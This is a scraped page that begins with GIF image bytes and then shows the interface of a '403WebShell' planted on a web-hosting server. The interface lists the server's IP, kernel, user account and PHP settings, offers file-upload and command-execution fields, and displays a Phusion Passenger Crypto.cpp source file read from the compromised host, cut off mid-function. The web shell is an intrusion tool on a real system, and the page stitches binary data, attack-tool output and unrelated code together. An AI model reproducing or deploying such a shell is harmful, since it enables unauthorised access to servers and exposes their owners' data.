GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-ruby27/src/passenger-release-6.0.23/src/cxx_supportlib/SecurityKit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpanel/ea-ruby27/src/passenger-release-6.0.23/src/cxx_supportlib/SecurityKit/Crypto.cpp
/*
 *  Phusion Passenger - https://www.phusionpassenger.com/
 *  Copyright (c) 2010-2018 Phusion Holding B.V.
 *
 *  "Passenger", "Phusion Passenger" and "Union Station" are registered
 *  trademarks of Phusion Holding B.V.
 *
 *  Permission is hereby granted, free of charge, to any person obtaining a copy
 *  of this software and associated documentation files (the "Software"), to deal
 *  in the Software without restriction, including without limitation the rights
 *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 *  copies of the Software, and to permit persons to whom the Software is
 *  furnished to do so, subject to the following conditions:
 *
 *  The above copyright notice and this permission notice shall be included in
 *  all copies or substantial portions of the Software.
 *
 *  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 *  THE SOFTWARE.
 */

#include <SecurityKit/Crypto.h>
#include <modp_b64.h>
#include <LoggingKit/LoggingKit.h>
#include <string>
#include <SystemTools/SystemTime.h>
#include <StrIntTools/StrIntUtils.h>

#if BOOST_OS_MACOS
#else
#include <openssl/aes.h>
#endif

#define AES_KEY_BYTESIZE (256/8)
#define AES_CBC_IV_BYTESIZE (128/8)

namespace Passenger {

using namespace std;
using namespace boost;
using namespace oxt;

#if BOOST_OS_MACOS

Crypto::Crypto()
	:id(NULL) {
}

Crypto::~Crypto() {
}

CFDictionaryRef Crypto::createQueryDict(const char *label) {
	if (kSecClassIdentity != NULL) {
		const size_t size = 5L;
		CFStringRef cfLabel = CFStringCreateWithCString(NULL, label, kCFStringEncodingUTF8);
		SecPolicyRef policy = SecPolicyCreateSSL(false, NULL);
		CFTypeRef keys[] = {kSecClass, kSecReturnRef, kSecMatchLimit, kSecMatchPolicy, kSecMatchSubjectWholeString};
		CFTypeRef values[] = {kSecClassIdentity, kCFBooleanTrue, kSecMatchLimitOne, policy, cfLabel};

		CFDictionaryRef queryDict = CFDictionaryCreate(NULL, keys, values, size,
									   &kCFCopyStringDictionaryKeyCallBacks,
									   &kCFTypeDictionaryValueCallBacks);
		CFRelease(policy);
		CFRelease(cfLabel);

		return queryDict;
	}
	return NULL;
}

SecAccessRef Crypto::createAccess(const char *cLabel) {
	SecAccessRef access = NULL;
	CFStringRef label = CFStringCreateWithCString(NULL, cLabel, kCFStringEncodingUTF8);
	if (SecAccessCreate(label, NULL, &access)) {
		logError("SecAccessCreate failed.");
		CFRelease(label);
		return NULL;
	}
	CFRelease(label);
	return access;
}

OSStatus Crypto::copyIdentityFromPKCS12File(const char *cPath,
											const char *cPassword,
											const char *cLabel) {
	OSStatus status = errSecItemNotFound;
	if (strlen(cPath) == 0) {
		return errSecMissingValue;
	}
	CFURLRef url = CFURLCreateFromFileSystemRepresentation(NULL,
														   (const UInt8 *) cPath, strlen(cPath), false);
	CFStringRef password = cPassword ? CFStringCreateWithCString(NULL,
																 cPassword, kCFStringEncodingUTF8) : NULL;

	CFReadStreamRef cfrs = CFReadStreamCreateWithFile(kCFAllocatorDefault, url);
	SecTransformRef readTransform = SecTransformCreateReadTransformWithReadStream(cfrs);
	CFErrorRef error = NULL;
	CFDataRef pkcsData = (CFDataRef) SecTransformExecute(readTransform, &error);
	if (error != NULL) {
		logFreeErrorExtended("ReadTransform", error);
		return status;
	}

	SecAccessRef access = createAccess(cLabel);
	if (access == NULL) {
		return status;
	}
	CFTypeRef cKeys[] = {kSecImportExportPassphrase, kSecImportExportAccess};
	CFTypeRef cValues[] = {password, access};
	CFDictionaryRef options = CFDictionaryCreate(NULL, cKeys, cValues, 2L, NULL, NULL);
	CFArrayRef items = NULL;

	/* Here we go: */
	status = SecPKCS12Import(pkcsData, options, &items);
	if (!(status == noErr && items && CFArrayGetCount(items))) {
		string suffix = string("Please check for a certificate labeled: ") + cLabel + " in your keychain, and remove the associated private key. For more help please read: https://www.phusionpassenger.com/library/admin/standalone/mac_keychain_popups.html";
		string prefix = "Loading Passenger Cert failed";
		if (status == noErr) {
			status = errSecAuthFailed;
			logError( prefix + ". " + suffix );
		}else{
			CFStringRef str = SecCopyErrorMessageString(status, NULL);
			logError( prefix + ": " + CFStringGetCStringPtr(str, kCFStringEncodingUTF8) + "\n" + suffix );
			CFRelease(str);
		}
	}else{
	  id = (CFDataRef)CFDictionaryGetValue((CFDictionaryRef)CFArrayGetValueAtIndex(items, 0),kSecImportItemKeyID);
	  CFRetain(id);
	}

	if (items) {
		CFRelease(items);
	}
	CFRelease(options);
	CFRelease(access);
	if (pkcsData) {
		CFRelease(pkcsData);
	}
	CFRelease(readTransform);
	CFRelease(cfrs);
	if (password) {
		CFRelease(password);
	}
	CFRelease(url);
	return status;
}

bool Crypto::generateRandomChars(unsigned char *rndChars, int rndLen) {
	FILE *fPtr = fopen("/dev/random", "r");
	if (fPtr == NULL) {
		CFIndex errNum = errno;
		char* errMsg = strerror(errno);
		const UInt8 numKeys = 4;
		CFTypeRef userInfoKeys[numKeys] = { kCFErrorFilePathKey,
											kCFErrorLocalizedDescriptionKey,
											kCFErrorLocalizedFailureReasonKey,
											kCFErrorLocalizedRecoverySuggestionKey };
		CFTypeRef userInfoValues[numKeys] = { CFSTR("/dev/random"),
											  CFSTR("Couldn't open file for reading."),
											  CFStringCreateWithCStringNoCopy(NULL, errMsg, kCFStringEncodingUTF8, NULL),
											  CFSTR("Have you tried turning it off and on again?") };

		CFErrorRef error = CFErrorCreateWithUserInfoKeysAndValues(NULL, kCFErrorDomainOSStatus, errNum, userInfoKeys, userInfoValues, numKeys);
		logFreeErrorExtended("generateRandomChars failed", error);
		return false;
	}
	for (int i = 0; i < rndLen; i++) {
		rndChars[i] = fgetc(fPtr);
	}
	fclose(fPtr);

	return true;
}

bool Crypto::generateAndAppendNonce(string &nonce) {
	nonce.append(toString(SystemTime::getUsec()));

	int rndLen = 16;
	unsigned char rndChars[rndLen];

	if (generateRandomChars(rndChars, rndLen)) {
		char rndChars64[modp_b64_encode_len(rndLen)];
		modp_b64_encode(rndChars64, (const char *) rndChars, rndLen);

		nonce.append(rndChars64);
		return true;
	} else {
		return false;
	}
}

CFDataRef Crypto::genIV(size_t ivSize) {
	UInt8 *ivBytesPtr = (UInt8*) malloc(ivSize);//freed when iv is freed
	if (generateRandomChars(ivBytesPtr, ivSize)) {
		return CFDataCreateWithBytesNoCopy(NULL, ivBytesPtr, ivSize, kCFAllocatorMalloc);
	} else {
		return NULL;
	}
}

bool Crypto::getKeyBytes(SecKeyRef cryptokey, void **target, size_t &len) {
	const CSSM_KEY *cssmKey;
	CSSM_WRAP_KEY wrappedKey;

	CSSM_CSP_HANDLE cspHandle = 0;
	CSSM_CC_HANDLE ccHandle = 0;

	const CSSM_ACCESS_CREDENTIALS *creds;
	CSSM_RETURN error = SecKeyGetCredentials(cryptokey,
											 CSSM_ACL_AUTHORIZATION_EXPORT_WRAPPED,
											 kSecCredentialTypeDefault, &creds);
	if (error != CSSM_OK) { cssmPerror("SecKeyGetCredentials", error); }

	error = SecKeyGetCSSMKey(cryptokey, &cssmKey);
	if (error != CSSM_OK) { cssmPerror("SecKeyGetCSSMKey", error); }

	error = SecKeyGetCSPHandle(cryptokey, &cspHandle);
	if (error != CSSM_OK) { cssmPerror("SecKeyGetCSPHandle", error); }

	error = CSSM_CSP_CreateSymmetricContext(cspHandle,
											CSSM_ALGID_NONE,
											CSSM_ALGMODE_NONE,
											creds,
											NULL,
											NULL,
											CSSM_PADDING_NONE,
											0,
											&ccHandle);
	if (error != CSSM_OK) { cssmPerror("CSSM_CSP_CreateSymmetricContext",error); }

	memset(&wrappedKey, 0, sizeof(wrappedKey));
	error = CSSM_WrapKey(ccHandle,
				 creds,
				 cssmKey,
				 NULL,
				 &wrappedKey);
	if (error != CSSM_OK) { cssmPerror("CSSM_WrapKey", error); }

	CSSM_DeleteContext(ccHandle);

	len = wrappedKey.KeyData.Length;

	return innerMemoryBridge(wrappedKey.KeyData.Data,target,wrappedKey.KeyData.Length);
}

bool Crypto::encryptAES256(char *dataChars, size_t dataLen, AESEncResult &aesEnc) {
	CFErrorRef error = NULL;
	bool retVal = false;

	CFNumberRef cfSize = NULL;
	CFDictionaryRef parameters = NULL;
	SecKeyRef cryptokey = NULL;
	CFDataRef iv = NULL;
	SecTransformRef encrypt = NULL;
	CFDataRef message = NULL;
	CFDataRef enc = NULL;

	do {
		UInt32 size = kSecAES256; // c++ is dumb
		CFNumberRef cfSize = CFNumberCreate(NULL, kCFNumberSInt32Type, &size);
		CFTypeRef cKeys[] = {kSecAttrKeyType, kSecAttrKeySizeInBits};
		CFTypeRef cValues[] = {kSecAttrKeyTypeAES, cfSize};
		CFDictionaryRef parameters = CFDictionaryCreate(NULL, cKeys, cValues, 2L, NULL, NULL);
		if (parameters == NULL) {
			logError("CFDictionaryCreate failed.");
			retVal = false;
			break;
		}

		SecKeyRef cryptokey = SecKeyGenerateSymmetric(parameters, &error);
		if (error != NULL) {
			logFreeErrorExtended("SecKeyGenerateSymmetric", error);
			retVal = false;
			break;
		}

		if (!getKeyBytes(cryptokey, (void **) &aesEnc.key, aesEnc.keyLen)) {
			retVal = false;
			break;
		}

		CFDataRef iv = genIV(AES_CBC_IV_BYTESIZE);
		if (iv == NULL) {
			logError("genIV failed.");
			retVal = false;
			break;
		} else if (!memoryBridge(iv, (void **) &aesEnc.iv, aesEnc.ivLen)) {
			retVal = false;
			break;
		}

		SecTransformRef encrypt = SecEncryptTransformCreate(cryptokey, &error);
		if (error != NULL) {
			logFreeErrorExtended("SecEncryptTransformCreate", error);
			retVal = false;
			break;
		}
		SecTransformSetAttribute(encrypt, kSecIVKey, iv, &error);
		if (error != NULL) {
			logFreeErrorExtended("SecTransformSetAttribute", error);
			retVal = false;
			break;
		}
		CFDataRef message = CFDataCreateWithBytesNoCopy(NULL,
														(UInt8*) dataChars,
														dataLen,
														kCFAllocatorNull);
		SecTransformSetAttribute(encrypt, kSecTransformInputAttributeName, message, &error);
		if (error != NULL) {
			logFreeErrorExtended("SecTransformSetAttribute", error);
			retVal = false;
			break;
		}
		CFDataRef enc = (CFDataRef) SecTransformExecute(encrypt, &error);
		if (error != NULL) {
			logFreeErrorExtended("SecTransformExecute", error);
			retVal = false;
			break;
		}

		if (!memoryBridge(enc, (void **) &aesEnc.encrypted, aesEnc.encryptedLen)) {
			retVal = false;
			break;
		}
		retVal = true;
	} while (false);

	if (enc) { CFRelease(enc); }
	if (message) { CFRelease(message); }
	if (encrypt) { CFRelease(encrypt); }
	if (iv) { CFRelease(iv); }
	if (cryptokey) { CFRelease(cryptokey); }
	if (parameters) { CFRelease(parameters); }
	if (cfSize) { CFRelease(cfSize); }

	return retVal;
}

void Crypto::freeAESEncrypted(AESEncResult &aesEnc) {
	if (aesEnc.encrypted != NULL) {
		free(aesEnc.encrypted);
		aesEnc.encrypted = NULL;
	}
	if (aesEnc.iv != NULL) {
		free(aesEnc.iv);
		aesEnc.iv = NULL;
	}
	if (aesEnc.key != NULL) {
		memset(aesEnc.key, 0, aesEnc.keyLen);
		free(aesEnc.key);
		aesEnc.key = NULL;
	}
}

bool Crypto::encryptRSA(unsigned char *dataChars, size_t dataLen,
						string encryptPubKeyPath, unsigned char **encryptedCharsPtr, size_t &encryptedLen) {
	bool retVal = false;
	CFErrorRef error = NULL;
	SecKeyRef rsaPubKey = loadPubKey(encryptPubKeyPath.c_str());

	CFDataRef aesKeyData = NULL;
	SecTransformRef rsaEncryptContext = NULL;
	CFDataRef encryptedKey = NULL;

	do {
		if (rsaPubKey == NULL) {
			logError("loadPubKey failed");
			retVal = false;
			break;
		}

		aesKeyData = CFDataCreateWithBytesNoCopy(NULL, (UInt8*) dataChars, dataLen, kCFAllocatorNull);
		if (aesKeyData == NULL) {
			logError("CFDataCreateWithBytesNoCopy failed");
			retVal = false;
			break;
		}

		rsaEncryptContext = SecEncryptTransformCreate(rsaPubKey, &error);
		if (error) {
			logFreeErrorExtended("SecEncryptTransformCreate", error);
			retVal = false;
			break;
		}
		SecTransformSetAttribute(rsaEncryptContext,
								 kSecPaddingKey,
								 kSecPaddingOAEPKey,
								 &error);
		if (error) {
			logFreeErrorExtended("SecTransformSetAttribute", error);
			retVal = false;
			break;
		}

		SecTransformSetAttribute(rsaEncryptContext, kSecTransformInputAttributeName, aesKeyData, &error);
		if (error) {
			logFreeErrorExtended("SecTransformSetAttribute", error);
			retVal = false;
			break;
		}
		encryptedKey = (CFDataRef) SecTransformExecute(rsaEncryptContext, &error);
		if (error) {
			logFreeErrorExtended("SecTransformExecute", error);
			retVal = false;
			break;
		}

		if (!memoryBridge(encryptedKey, (void **) encryptedCharsPtr, encryptedLen)) {
			retVal = false;
			break;
		}
		retVal = true;
	} while (false);

	if (encryptedKey) { CFRelease(encryptedKey); }
	if (rsaEncryptContext) { CFRelease(rsaEncryptContext); }
	if (aesKeyData) { CFRelease(aesKeyData); }
	if (rsaPubKey) { CFRelease(rsaPubKey); }

	return retVal;
}

bool Crypto::memoryBridge(CFDataRef input, void **target, size_t &len) {
	len = CFDataGetLength(input);
	return innerMemoryBridge((void *) CFDataGetBytePtr(input), target, len);
}

bool Crypto::innerMemoryBridge(void *input, void **target, size_t len){
	*target = malloc(len);
	if (*target == NULL) {
		logError("malloc failed: " + toString(len));
		return false;
	}
	memcpy(*target, input, len);
	return true;
}

bool Crypto::verifySignature(string signaturePubKeyPath, char *signatureChars, int signatureLen, string data) {
	SecKeyRef rsaPubKey = NULL;
	bool result = false;

	SecTransformRef verifier = NULL;
	CFNumberRef cfSize = NULL;
	do {
		rsaPubKey = loadPubKey(signaturePubKeyPath.c_str());
		if (rsaPubKey == NULL) {
			logError("Failed to load public key at " + signaturePubKeyPath);
			break;
		}

		CFDataRef signatureRef = CFDataCreateWithBytesNoCopy(NULL, (UInt8*) signatureChars, signatureLen, kCFAllocatorNull);

		CFDataRef dataRef = CFDataCreateWithBytesNoCopy(NULL, reinterpret_cast<const UInt8*>(data.c_str()), data.length(), kCFAllocatorNull);

		CFErrorRef error = NULL;
		verifier = SecVerifyTransformCreate(rsaPubKey, signatureRef, &error);
		if (error) {
			logFreeErrorExtended("SecVerifyTransformCreate", error);
			result = -20;
			break;
		}

		SecTransformSetAttribute(verifier, kSecTransformInputAttributeName, dataRef, &error);
		if (error) {
			logFreeErrorExtended("SecTransformSetAttribute InputName", error);
			result = -21;
			break;
		}

		SecTransformSetAttribute(verifier, kSecDigestTypeAttribute, kSecDigestSHA2, &error);
		if (error) {
			logFreeErrorExtended("SecTransformSetAttribute DigestType", error);
			result = -22;
			break;
		}

		UInt32 size = kSecAES256; // c++ is dumb
		cfSize = CFNumberCreate(NULL, kCFNumberSInt32Type, &size);
		SecTransformSetAttribute(verifier, kSecDigestLengthAttribute, cfSize, &error);
		if (error) {
			logFreeErrorExtended("SecTransformSetAttribute DigestLength", error);
			result = -23;
			break;
		}

		CFTypeRef verifyResult = SecTransformExecute(verifier, &error);
		if (error) {
			logFreeErrorExtended("SecTransformExecute", error);
			result = -24;
			break;
		}

		result = (verifyResult == kCFBooleanTrue);
	} while(0);

	if (cfSize) {
		CFRelease(cfSize);
	}
	if (verifier) {
		CFRelease(verifier);
	}
	freePubKey(rsaPubKey);

	return result;
}

PUBKEY_TYPE Crypto::loadPubKey(const char *filename) {
	SecKeyRef pubKey = NULL;
	CFDataRef keyData = NULL;
	CFURLRef url = NULL;
	CFReadStreamRef cfrs = NULL;
	SecTransformRef readTransform = NULL;
	CFArrayRef temparray = NULL;
	do {
		url = CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault,
													  reinterpret_cast<const UInt8*>(filename), strlen(filename), false);
		if (url == NULL) {
			logError("CFURLCreateFromFileSystemRepresentation failed.");
			break;
		}

		cfrs = CFReadStreamCreateWithFile(kCFAllocatorDefault, url);
		if (cfrs == NULL) {
			logError("CFReadStreamCreateWithFile failed");
			break;
		}

		readTransform = SecTransformCreateReadTransformWithReadStream(cfrs);
		if (readTransform == NULL) {
			logError("SecTransformCreateReadTransformWithReadStream failed");
			break;
		}
		CFErrorRef error = NULL;
		keyData = (CFDataRef) SecTransformExecute(readTransform, &error);
		if (keyData == NULL) {
			logError("SecTransformExecute failed to get keyData");
			break;
		}
		if (error) {
			logFreeErrorExtended("SecTransformExecute", error);
			break;
		}

		SecExternalItemType itemType = kSecItemTypePublicKey;
		SecExternalFormat externalFormat = kSecFormatPEMSequence;
		OSStatus oserr = SecItemImport(keyData,
									   NULL, // filename or extension
									   &externalFormat, // See SecExternalFormat for details
									   &itemType,
									   0, // See SecItemImportExportFlags for details, Note that PEM formatting
									   // is determined internally via inspection of the incoming data, so
									   // the kSecItemPemArmour flag is ignored.
									   NULL,
									   NULL, // Don't import into a keychain
									   &temparray);
		if (oserr) {
			CFStringRef str = SecCopyErrorMessageString(oserr, NULL);
			logError(string("SecItemImport: ") + CFStringGetCStringPtr(str, kCFStringEncodingUTF8));
			CFRelease(str);
			break;
		}
		pubKey = reinterpret_cast<SecKeyRef>(const_cast<void*>(CFArrayGetValueAtIndex(temparray, 0)));
		CFRetain(pubKey); //bump ref count, now we own this and need to release it eventually
	} while (0);

	if (keyData) {
		CFRelease(keyData); //might be wrong to release here, not sure if SecItemImport makes a copy of the bytes, it looks like it does
		//https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55035/lib/SecImport.cpp
		//http://opensource.apple.com//source/libsecurity_keychain/libsecurity_keychain-14/lib/SecImportExportPem.cpp
	}
	if (temparray) {
		CFRelease(temparray);
	}
	if (readTransform) {
		CFRelease(readTransform);
	}
	if (cfrs) {
		CFRelease(cfrs);
	}
	if (url) {
		CFRelease(url);
	}

	return pubKey;
}

void Crypto::freePubKey(PUBKEY_TYPE pubKey) {
	if (pubKey) {
		CFRelease(pubKey);
	}
